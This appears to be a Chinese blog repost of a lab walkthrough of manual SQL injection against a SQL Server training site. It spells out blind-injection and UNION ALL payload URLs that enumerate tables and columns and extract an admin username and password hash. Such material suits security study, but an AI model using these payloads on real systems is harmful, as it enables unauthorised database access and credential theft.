当前位置: 首页 > news >正文

SQL手工注入漏洞测试(Sql Server数据库)

 

 

 

还是先找到注入点,然后order by找出字段数:4

通过SQL语句中and 1=2 union select 1,2,3……,n联合查询,判断显示的是哪些字段,就是原本显示标题和内容时候的查询字段。此处返回的是错误页面,说明系统禁止使用union进行相关SQL查询,我们得使用其他方式进行手工SQL注入。

一、盲注

盲猜爆出表名

 

通过SQL语句中的and exists(select username from manage)查询,判断manage数据库表表中存在的字段。此处返回内容为正常页面,说明数据库表中存在username字段。同理找出password字段

页面提交:http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(username,2,1))=100 and ID=1)
数据库执行语句:select * from manage where id=2 and exists (select id from manage where unicode(substring(username,2,1))=100 and ID=1)
页面返回描述:返回内容为正常页面
分析解说:通过SQL语句中的通过SQL语句中的and exists (select id from manage where unicode(substring(username,2,1))=100 and ID=1)查询,判断manage数据库表表中id=1的username字段值的第一位字符。此处返回内容为正常页面,说明数据库表中ID=1的username字段值的第一位等于‘d’。

 

http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(username,3,1))=109 and ID=1)
http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(username,4,1))=105 and ID=1)
http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(username,5,1))=110 and ID=1)
http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(username,6,1))=95 and ID=1)
http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(username,7,1))=109 and ID=1)
http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(username,8,1))=122 and ID=1)
最后得到的username值是:admin_mz

 

 利用注入username字段值的方法对password字段进行注入,分别提交以下URL请求,即可得到id=1的password字段的值。
http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(password,1,1))=55 and ID=1)
http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(password,2,1))=50 and ID=1)
http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(password,3,1))=101 and ID=1)
http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(password,4,1))=49 and ID=1)
http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(password,5,1))=98 and ID=1)
http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(password,6,1))=102 and ID=1)
http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(password,7,1))=99 and ID=1)
http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(password,8,1))=51 and ID=1)
http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(password,9,1))=102 and ID=1)
http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(password,10,1))=48 and ID=1)
http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(password,11,1))=49 and ID=1)
http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(password,12,1))=98 and ID=1)
http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(password,13,1))=55 and ID=1)
http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(password,14,1))=53 and ID=1)
http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(password,15,1))=56 and ID=1)
http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(password,16,1))=51 and ID=1)
最后得到的password值是:72e1bfc3f01b7583

通过MD5解密网站得知明文password值为97285101

 二、union all

http://219.153.49.228:44082/new_list.asp?id=-2 union all select null,null,null,null

用union all select null,null,null,null四个null分别尝试回显位置,得到回显语句:

http://219.153.49.228:44082/new_list.asp?id=-2 union all select null,2,null,null

//逐一测试,显示位3为字符型,导致的一些bug

http://219.153.49.228:44082/new_list.asp?id=-2 union all select null,2,'3',null

 

数据库

//这里也可以使用db_name(1)、db_name(2)查询其他数据库

http://219.153.49.228:44082/new_list.asp?id=-2 union all select null,db_name(),null,null

 

结果为:mozhe_db_v2

 

http://219.153.49.228:44082/new_list.asp?id=-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u'),'3',4

//xtype='u' :查看用户表

结果:manage

查看有没别的表

http://219.153.49.228:44082/new_list.asp?id=-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u' and name not in ('manage')),'3',4

结果:announcement

继续查看表

id=-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u' and name not in ('manage','announcement')),'3',4

结果空,说明没有别的了。

 

列名

id=-2 union all select null,(select top 1 col_name(object_id('manage'),1) from sysobjects),null,null

得出:id

id=-2 union all select null,(select top 1 col_name(object_id('manage'),2) from sysobjects),null,null

得出:username

id=-2 union all select null,(select top 1 col_name(object_id('manage'),3) from sysobjects),null,null

得出:password

id=-2 union all select null,(select top 1 col_name(object_id('manage'),4) from sysobjects),null,null

得出:空

说明mange表总共有3列,分别为:id、username、password

爆破:

http://219.153.49.228:44082/new_list.asp?id=-2 union all select null,username, password ,null from manage

转载于:https://www.cnblogs.com/WhiteHatKevil/p/10301334.html

相关文章:

  • Windows Core OS 包含了开源组件
  • 快过年了,我给小明制定了一份价值60万的Java学习计划
  • windows程序设计简介
  • 深入理解javascript原型和闭包(1)——一切都是对象
  • ZStack--级联框架
  • 关于安卓通过webservice访问数据库问题
  • 从上万监控到实时示警 浙江绍兴餐饮迎智能“食代”
  • win8.1 virtualbox 安装centos7注意事项
  • Java虚拟机在执行程序时内存划分的区域都有哪些?
  • 常见MQTT服务器搭建与试用
  • glutBitmapCharacter及glBitmap在ATI显卡下无法正常显示的原因初探
  • 俄罗斯“光影魔术”展亮相上海科技馆
  • AsyncTasLoader不进行加载操作的原因及解决方法
  • 一文详解Python字符串条件判断方法
  • 前端 CSS 规范
  • [PHP内核探索]PHP中的哈希表
  • Angularjs之国际化
  • Docker入门(二) - Dockerfile
  • iOS筛选菜单、分段选择器、导航栏、悬浮窗、转场动画、启动视频等源码
  • Java,console输出实时的转向GUI textbox
  • java中具有继承关系的类及其对象初始化顺序
  • Js实现点击查看全文(类似今日头条、知乎日报效果)
  • springboot_database项目介绍
  • Vue 动态创建 component
  • VuePress 静态网站生成
  • 更好理解的面向对象的Javascript 1 —— 动态类型和多态
  • 关键词挖掘技术哪家强(一)基于node.js技术开发一个关键字查询工具
  • 区块链将重新定义世界
  • 使用 QuickBI 搭建酷炫可视化分析
  • 写代码的正确姿势
  • 昨天1024程序员节,我故意写了个死循环~
  • ​中南建设2022年半年报“韧”字当头,经营性现金流持续为正​
  • (C)一些题4
  • (二)学习JVM —— 垃圾回收机制
  • (附源码)ssm高校社团管理系统 毕业设计 234162
  • (解决办法)ASP.NET导出Excel,打开时提示“您尝试打开文件'XXX.xls'的格式与文件扩展名指定文件不一致
  • (免费领源码)python#django#mysql校园校园宿舍管理系统84831-计算机毕业设计项目选题推荐
  • (转)程序员疫苗:代码注入
  • (转)大道至简,职场上做人做事做管理
  • *2 echo、printf、mkdir命令的应用
  • .MSSQLSERVER 导入导出 命令集--堪称经典,值得借鉴!
  • .Net core 6.0 升8.0
  • .NetCore项目nginx发布
  • .net对接阿里云CSB服务
  • @基于大模型的旅游路线推荐方案
  • [ 环境搭建篇 ] 安装 java 环境并配置环境变量(附 JDK1.8 安装包)
  • [ 数据结构 - C++] AVL树原理及实现
  • [100天算法】-不同路径 III(day 73)
  • [ACL2022] Text Smoothing: 一种在文本分类任务上的数据增强方法
  • [AI]文心一言出圈的同时,NLP处理下的ChatGPT-4.5最新资讯
  • [Android 数据通信] android cmwap接入点
  • [hive]中的字段的数据类型有哪些
  • [IDF]被改错的密码
  • [javaSE] 看知乎学习工厂模式
  • [JavaWeb]—Spring入门